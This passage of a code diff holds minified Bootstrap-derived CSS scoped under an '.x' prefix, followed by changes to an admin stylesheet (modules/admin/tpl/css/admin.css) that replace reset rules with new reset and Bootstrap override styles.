rgba(255,255,255,.15);box-shadow:inset 0 1px 2px rgba(0,0,0,.1),0 1px 0 rgba(255,255,255,.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;transition:none}.x .x_navbar-inverse .x_navbar-search .x_search-query:-moz-placeholder{color:#ccc}.x .x_navbar-inverse .x_navbar-search .x_search-query:-ms-input-placeholder{color:#ccc}.x .x_navbar-inverse .x_navbar-search .x_search-query::-webkit-input-placeholder{color:#ccc}.x .x_navbar-inverse .x_navbar-search .x_search-query:focus,.x .x_navbar-inverse .x_navbar-search .x_search-query.x_focused{padding:5px 15px;color:#333;text-shadow:0 1px 0 #fff;background-color:#fff;border:0;outline:0;-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);-moz-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.x .x_navbar-inverse .x_btn-navbar{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#0e0e0e;*background-color:#040404;background-image:-moz-linear-gradient(top,#151515,#040404);background-image:-webkit-gradient(linear,0 0,0 100%,from(#151515),to(#040404));background-image:-webkit-linear-gradient(top,#151515,#040404);background-image:-o-linear-gradient(top,#151515,#040404);background-image:linear-gradient(to bottom,#151515,#040404);background-repeat:repeat-x;border-color:#040404 #040404 #000;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#151515',endColorstr='#040404',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_navbar-inverse .x_btn-navbar:hover,.x .x_navbar-inverse .x_btn-navbar:active,.x .x_navbar-inverse .x_btn-navbar.x_active,.x .x_navbar-inverse .x_btn-navbar.x_disabled,.x .x_navbar-inverse .x_btn-navbar[disabled]{color:#fff;background-color:#040404;*background-color:#000;}.x .x_navbar-inverse .x_btn-navbar:active,.x .x_navbar-inverse .x_btn-navbar.x_active{background-color:#000 \9}.x .x_breadcrumb{padding:8px 15px;margin:0 0 20px;list-style:none;background-color:#f5f5f5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_breadcrumb>li{display:inline-block;*display:inline;text-shadow:0 1px 0 #fff;*zoom:1;}.x .x_breadcrumb>li>.x_divider{padding:0 5px;color:#ccc}.x .x_breadcrumb>.x_active{color:#999}.x .x_pagination{margin:20px 0}.x .x_pagination ul{display:inline-block;*display:inline;margin-bottom:0;margin-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;*zoom:1;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.x .x_pagination ul>li{display:inline}.x .x_pagination ul>li>a,.x .x_pagination ul>li>span{float:left;padding:4px 12px;line-height:20px;text-decoration:none;background-color:#fff;border:1px solid #ddd;border-left-width:0}.x .x_pagination ul>li>a:hover,.x .x_pagination ul>.x_active>a,.x .x_pagination ul>.x_active>span{background-color:#f5f5f5}.x .x_pagination ul>.x_active>a,.x .x_pagination ul>.x_active>span{color:#999;cursor:default}.x .x_pagination ul>.x_disabled>span,.x .x_pagination ul>.x_disabled>a,.x .x_pagination ul>.x_disabled>a:hover{color:#999;cursor:default;background-color:transparent}.x .x_pagination ul>li:first-child>a,.x .x_pagination ul>li:first-child>span{border-left-width:1px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px}.x .x_pagination ul>li:last-child>a,.x .x_pagination ul>li:last-child>span{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px}.x .x_pagination-centered{text-align:center}.x .x_pagination-right{text-align:right}.x .x_pagination-large ul>li>a,.x .x_pagination-large ul>li>span{padding:11px 19px;font-size:17.5px}.x .x_pagination-large ul>li:first-child>a,.x .x_pagination-large ul>li:first-child>span{-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px}.x .x_pagination-large ul>li:last-child>a,.x .x_pagination-large ul>li:last-child>span{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px}.x .x_pagination-mini ul>li:first-child>a,.x .x_pagination-small ul>li:first-child>a,.x .x_pagination-mini ul>li:first-child>span,.x .x_pagination-small ul>li:first-child>span{-webkit-border-bottom-left-radius:3px;border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-top-left-radius:3px;-moz-border-radius-bottomleft:3px;-moz-border-radius-topleft:3px}.x .x_pagination-mini ul>li:last-child>a,.x .x_pagination-small ul>li:last-child>a,.x .x_pagination-mini ul>li:last-child>span,.x .x_pagination-small ul>li:last-child>span{-webkit-border-top-right-radius:3px;border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px}.x .x_pagination-small ul>li>a,.x .x_pagination-small ul>li>span{padding:2px 10px;font-size:11.9px}.x .x_pagination-mini ul>li>a,.x .x_pagination-mini ul>li>span{padding:0 6px;font-size:10.5px}.x .x_pager{margin:20px 0;text-align:center;list-style:none;*zoom:1;}.x .x_pager:before,.x .x_pager:after{display:table;line-height:0;content:""}.x .x_pager:after{clear:both}.x .x_pager li{display:inline}.x .x_pager li>a,.x .x_pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.x .x_pager li>a:hover{text-decoration:none;background-color:#f5f5f5}.x .x_pager .x_next>a,.x .x_pager .x_next>span{float:right}.x .x_pager .x_previous>a,.x .x_pager .x_previous>span{float:left}.x .x_pager .x_disabled>a,.x .x_pager .x_disabled>a:hover,.x .x_pager .x_disabled>span{color:#999;cursor:default;background-color:#fff}.x_modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.x_modal-backdrop.x_fade{opacity:0}.x_modal-backdrop,.x_modal-backdrop.x_fade.x_in{opacity:.8;filter:alpha(opacity=80)}.x_modal{position:fixed;top:10%;left:50%;z-index:1050;width:560px;margin-left:-280px;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;outline:0;-webkit-box-shadow:0 3px 7px rgba(0,0,0,.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,.3);box-shadow:0 3px 7px rgba(0,0,0,.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box}.x_modal.x_fade{top:-25%;-webkit-transition:opacity .3s linear,top .3s ease-out;-moz-transition:opacity .3s linear,top .3s ease-out;-o-transition:opacity .3s linear,top .3s ease-out;transition:opacity .3s linear,top .3s ease-out}.x_modal.x_fade.x_in{top:10%}.x .x_modal-header{padding:9px 15px;border-bottom:1px solid #eee}.x .x_modal-header .x_close{margin-top:2px}.x .x_modal-header h3{margin:0;line-height:30px}.x .x_modal-body{position:relative;max-height:400px;padding:15px;overflow-y:auto}.x .x_modal-form{margin-bottom:0}.x .x_modal-footer{padding:14px 15px 15px;margin-bottom:0;text-align:right;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;*zoom:1;-webkit-box-shadow:inset 0 1px 0 #fff;-moz-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff}.x .x_modal-footer:before,.x .x_modal-footer:after{display:table;line-height:0;content:""}.x .x_modal-footer:after{clear:both}.x .x_modal-footer .x_btn+.x_btn{margin-bottom:0;margin-left:5px}.x .x_modal-footer .x_btn-group .x_btn+.x_btn{margin-left:-1px}.x .x_modal-footer .x_btn-block+.x_btn-block{margin-left:0}.x .x_tooltip{position:absolute;z-index:1030;display:block;padding:5px;font-size:11px;opacity:0;filter:alpha(opacity=0);visibility:visible}.x .x_tooltip.x_in{opacity:.8;filter:alpha(opacity=80)}.x .x_tooltip.x_top{margin-top:-3px}.x .x_tooltip.x_right{margin-left:3px}.x .x_tooltip.x_bottom{margin-top:3px}.x .x_tooltip.x_left{margin-left:-3px}.x .x_tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.x .x_tooltip.x_top .x_tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-color:#000;border-width:5px 5px 0}.x .x_tooltip.x_right .x_tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:#000;border-width:5px 5px 5px 0}.x .x_tooltip.x_left .x_tooltip-arrow{top:50%;right:0;margin-top:-5px;border-left-color:#000;border-width:5px 0 5px 5px}.x .x_tooltip.x_bottom .x_tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-color:#000;border-width:0 5px 5px}.x .x_popover{position:absolute;top:0;left:0;z-index:1010;display:none;width:236px;padding:1px;text-align:left;white-space:normal;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.x .x_popover.x_top{margin-top:-10px}.x .x_popover.x_right{margin-left:10px}.x .x_popover.x_bottom{margin-top:10px}.x .x_popover.x_left{margin-left:-10px}.x .x_popover-title{padding:8px 14px;margin:0;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.x .x_popover-content{padding:9px 14px}.x .x_popover .x_arrow,.x .x_popover .x_arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.x .x_popover .x_arrow{border-width:11px}.x .x_popover .x_arrow:after{border-width:10px;content:""}.x .x_popover.x_top .x_arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.x .x_popover.x_top .x_arrow:after{bottom:1px;margin-left:-10px;border-top-color:#fff;border-bottom-width:0}.x .x_popover.x_right .x_arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.x .x_popover.x_right .x_arrow:after{bottom:-10px;left:1px;border-right-color:#fff;border-left-width:0}.x .x_popover.x_bottom .x_arrow{top:-11px;left:50%;margin-left:-11px;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25);border-top-width:0}.x .x_popover.x_bottom .x_arrow:after{top:1px;margin-left:-10px;border-bottom-color:#fff;border-top-width:0}.x .x_popover.x_left .x_arrow{top:50%;right:-11px;margin-top:-11px;border-left-color:#999;border-left-color:rgba(0,0,0,.25);border-right-width:0}.x .x_popover.x_left .x_arrow:after{right:1px;bottom:-10px;border-left-color:#fff;border-right-width:0}.x .x_thumbnails{margin-left:-20px;list-style:none;*zoom:1;}.x .x_thumbnails:before,.x .x_thumbnails:after{display:table;line-height:0;content:""}.x .x_thumbnails:after{clear:both}.x .x_row-fluid .x_thumbnails{margin-left:0}.x .x_thumbnails>li{float:left;margin-bottom:20px;margin-left:20px}.x .x_thumbnail{display:block;padding:4px;line-height:20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.055);-moz-box-shadow:0 1px 3px rgba(0,0,0,.055);box-shadow:0 1px 3px rgba(0,0,0,.055);-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.x a.x_thumbnail:hover{border-color:#08c;-webkit-box-shadow:0 1px 4px rgba(0,105,214,.25);-moz-box-shadow:0 1px 4px rgba(0,105,214,.25);box-shadow:0 1px 4px rgba(0,105,214,.25)}.x .x_thumbnail>img{display:block;max-width:100%;margin-right:auto;margin-left:auto}.x .x_thumbnail .x_caption{padding:9px;color:#555}.x .x_media,.x .x_media-body{overflow:hidden;*overflow:visible;zoom:1}.x .x_media,.x .x_media .x_media{margin-top:15px}.x .x_media:first-child{margin-top:0}.x .x_media-object{display:block}.x .x_media-heading{margin:0 0 5px}.x .x_media .x_pull-left{margin-right:10px}.x .x_media .x_pull-right{margin-left:10px}.x .x_media-list{margin-left:0;list-style:none}.x .x_label,.x .x_badge{display:inline-block;padding:2px 4px;font-size:11.844px;font-weight:bold;line-height:14px;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);white-space:nowrap;vertical-align:baseline;background-color:#999}.x .x_label{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x .x_badge{padding-right:9px;padding-left:9px;-webkit-border-radius:9px;-moz-border-radius:9px;border-radius:9px}.x .x_label:empty,.x .x_badge:empty{display:none}.x a.x_label:hover,.x a.x_badge:hover{color:#fff;text-decoration:none;cursor:pointer}.x .x_label-important,.x .x_badge-important{background-color:#b94a48}.x .x_label-important[href],.x .x_badge-important[href]{background-color:#953b39}.x .x_label-warning,.x .x_badge-warning{background-color:#f89406}.x .x_label-warning[href],.x .x_badge-warning[href]{background-color:#c67605}.x .x_label-success,.x .x_badge-success{background-color:#468847}.x .x_label-success[href],.x .x_badge-success[href]{background-color:#356635}.x .x_label-info,.x .x_badge-info{background-color:#3a87ad}.x .x_label-info[href],.x .x_badge-info[href]{background-color:#2d6987}.x .x_label-inverse,.x .x_badge-inverse{background-color:#333}.x .x_label-inverse[href],.x .x_badge-inverse[href]{background-color:#1a1a1a}.x .x_btn .x_label,.x .x_btn .x_badge{position:relative;top:-1px}.x .x_btn-mini .x_label,.x .x_btn-mini .x_badge{top:0}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-moz-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-ms-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.x .x_progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f7f7f7;background-image:-moz-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f5f5f5),to(#f9f9f9));background-image:-webkit-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-o-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:linear-gradient(to bottom,#f5f5f5,#f9f9f9);background-repeat:repeat-x;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5',endColorstr='#f9f9f9',GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.x .x_progress .x_bar{float:left;width:0;height:100%;font-size:12px;color:#fff;text-align:center;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top,#149bdf,#0480be);background-image:-webkit-gradient(linear,0 0,0 100%,from(#149bdf),to(#0480be));background-image:-webkit-linear-gradient(top,#149bdf,#0480be);background-image:-o-linear-gradient(top,#149bdf,#0480be);background-image:linear-gradient(to bottom,#149bdf,#0480be);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#149bdf',endColorstr='#0480be',GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width .6s ease;-moz-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.x .x_progress .x_bar+.x_bar{-webkit-box-shadow:inset 1px 0 0 rgba(0,0,0,.15),inset 0 -1px 0 rgba(0,0,0,.15);-moz-box-shadow:inset 1px 0 0 rgba(0,0,0,.15),inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 1px 0 0 rgba(0,0,0,.15),inset 0 -1px 0 rgba(0,0,0,.15)}.x .x_progress-striped .x_bar{background-color:#149bdf;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px}.x .x_progress.x_active .x_bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;-ms-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.x .x_progress-danger .x_bar,.x .x_progress .x_bar-danger{background-color:#dd514c;background-image:-moz-linear-gradient(top,#ee5f5b,#c43c35);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#c43c35));background-image:-webkit-linear-gradient(top,#ee5f5b,#c43c35);background-image:-o-linear-gradient(top,#ee5f5b,#c43c35);background-image:linear-gradient(to bottom,#ee5f5b,#c43c35);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#c43c35',GradientType=0)}.x .x_progress-danger.x_progress-striped .x_bar,.x .x_progress-striped .x_bar-danger{background-color:#ee5f5b;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.x .x_progress-success .x_bar,.x .x_progress .x_bar-success{background-color:#5eb95e;background-image:-moz-linear-gradient(top,#62c462,#57a957);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#57a957));background-image:-webkit-linear-gradient(top,#62c462,#57a957);background-image:-o-linear-gradient(top,#62c462,#57a957);background-image:linear-gradient(to bottom,#62c462,#57a957);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#57a957',GradientType=0)}.x .x_progress-success.x_progress-striped .x_bar,.x .x_progress-striped .x_bar-success{background-color:#62c462;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.x .x_progress-info .x_bar,.x .x_progress .x_bar-info{background-color:#4bb1cf;background-image:-moz-linear-gradient(top,#5bc0de,#339bb9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#339bb9));background-image:-webkit-linear-gradient(top,#5bc0de,#339bb9);background-image:-o-linear-gradient(top,#5bc0de,#339bb9);background-image:linear-gradient(to bottom,#5bc0de,#339bb9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#339bb9',GradientType=0)}.x .x_progress-info.x_progress-striped .x_bar,.x .x_progress-striped .x_bar-info{background-color:#5bc0de;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.x .x_progress-warning .x_bar,.x .x_progress .x_bar-warning{background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(to bottom,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0)}.x .x_progress-warning.x_progress-striped .x_bar,.x .x_progress-striped .x_bar-warning{background-color:#fbb450;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.x .x_accordion{margin-bottom:20px}.x .x_accordion-group{margin-bottom:2px;border:1px solid #e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_accordion-heading{border-bottom:0}.x .x_accordion-heading .x_accordion-toggle{display:block;padding:8px 15px}.x .x_accordion-toggle{cursor:pointer}.x .x_accordion-inner{padding:9px 15px;border-top:1px solid #e5e5e5}.x .x_carousel{position:relative;margin-bottom:20px;line-height:1}.x .x_carousel-inner{position:relative;width:100%;overflow:hidden}.x .x_carousel-inner>.x_item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-moz-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.x .x_carousel-inner>.x_item>img{display:block;line-height:1}.x .x_carousel-inner>.x_active,.x .x_carousel-inner>.x_next,.x .x_carousel-inner>.x_prev{display:block}.x .x_carousel-inner>.x_active{left:0}.x .x_carousel-inner>.x_next,.x .x_carousel-inner>.x_prev{position:absolute;top:0;width:100%}.x .x_carousel-inner>.x_next{left:100%}.x .x_carousel-inner>.x_prev{left:-100%}.x .x_carousel-inner>.x_next.x_left,.x .x_carousel-inner>.x_prev.x_right{left:0}.x .x_carousel-inner>.x_active.x_left{left:-100%}.x .x_carousel-inner>.x_active.x_right{left:100%}.x .x_carousel-control{position:absolute;top:40%;left:15px;width:40px;height:40px;margin-top:-20px;font-size:60px;font-weight:100;line-height:30px;color:#fff;text-align:center;background:#222;border:3px solid #fff;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;opacity:.5;filter:alpha(opacity=50)}.x .x_carousel-control.x_right{right:15px;left:auto}.x .x_carousel-control:hover{color:#fff;text-decoration:none;opacity:.9;filter:alpha(opacity=90)}.x .x_carousel-caption{position:absolute;right:0;bottom:0;left:0;padding:15px;background:#333;background:rgba(0,0,0,.75)}.x .x_carousel-caption h4,.x .x_carousel-caption p{line-height:20px;color:#fff}.x .x_carousel-caption h4{margin:0 0 5px}.x .x_carousel-caption p{margin-bottom:0}.x .x_hero-unit{padding:60px;margin-bottom:30px;font-size:18px;font-weight:200;line-height:30px;color:inherit;background-color:#eee;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;color:inherit}.x .x_hero-unit li{line-height:30px}.x .x_pull-right{float:right}.x .x_pull-left{float:left}.x .x_hide{display:none}.x .x_show{display:block}.x .x_invisible{visibility:hidden}.x .x_affix{position:fixed} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin.css b/modules/admin/tpl/css/admin.css index c74627d1a..d1c4cb784 100644 --- a/modules/admin/tpl/css/admin.css +++ b/modules/admin/tpl/css/admin.css @@ -1,20 +1,531 @@ @charset "utf-8"; -/* Element Reset */ -header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{display:block} -.x, +/* Reset */ +html,body{min-height:100%} +body{-webkit-text-size-adjust:none} +body>.x:first-child{min-width:300px;max-width:1240px;margin:0 auto} +body>.x, +.x label, .x table, .x input, .x textarea, .x select, -.x button{font-size:13px;color:#333} -.x button, -.x input[type=submit], -.x input[type=reset], -.x input[type=button]{cursor:pointer;overflow:visible} -.x img{border:0} -.x p{line-height:1.5} +.x button{font-size:13px} +.x strong, +.x th{font-weight:600} +.x em, +.x dfn{font-style:normal} +.x [disabled]{cursor:not-allowed} +.x [hidden]{display:none} +.x a[target="_blank"]:after{ content:"";display:inline-block;width:14px;height:14px;vertical-align:middle;margin:-2px 0 0 2px;background-position:-120px -72px;opacity:.3;filter:alpha(opacity=30)} +.x a[target="_blank"]:hover:after, +.x a[target="_blank"]:focus:after{opacity:.7;filter:alpha(opacity=70)} +.x mark{background-color:#FF0;color:#000} +/* Bootstrap Override */ +.x .x_page-header{margin-top:10px;padding-bottom:0;border-bottom:2px solid #ddd} +.x .x_page-header>h1{position:relative;margin-bottom:0;font-size:24px;color:#333} +.x .x_page-header>h1>.x_icon-question-sign{margin:0} +.x .x_page-header>h1>.path+.x_icon-question-sign{margin:4px 0 0 0} +.x .x_icon-question-sign{vertical-align:middle} +.x h1, +.x h2, +.x h3, +.x h4, +.x h5, +.x h6{line-height:1.5;font-weight:600;color:#666;text-rendering:auto} +.x h1{font-size:22px} +.x h2{font-size:18px} +.x h3{font-size:14px} +.x h4, +.x h5, +.x h6{font-size:12px} +.x [class^="x_icon-"], +.x [class*=" x_icon-"]{text-decoration:none;border:0;padding:0 0 0 14px;width:0;background-color:transparent;overflow:hidden;font-size:0} +.x .x_close{width:32px;height:32px;font-size:17px;opacity:.5;filter:alpha(opacity=50)} +.x .x_alert{position:relative} +.x 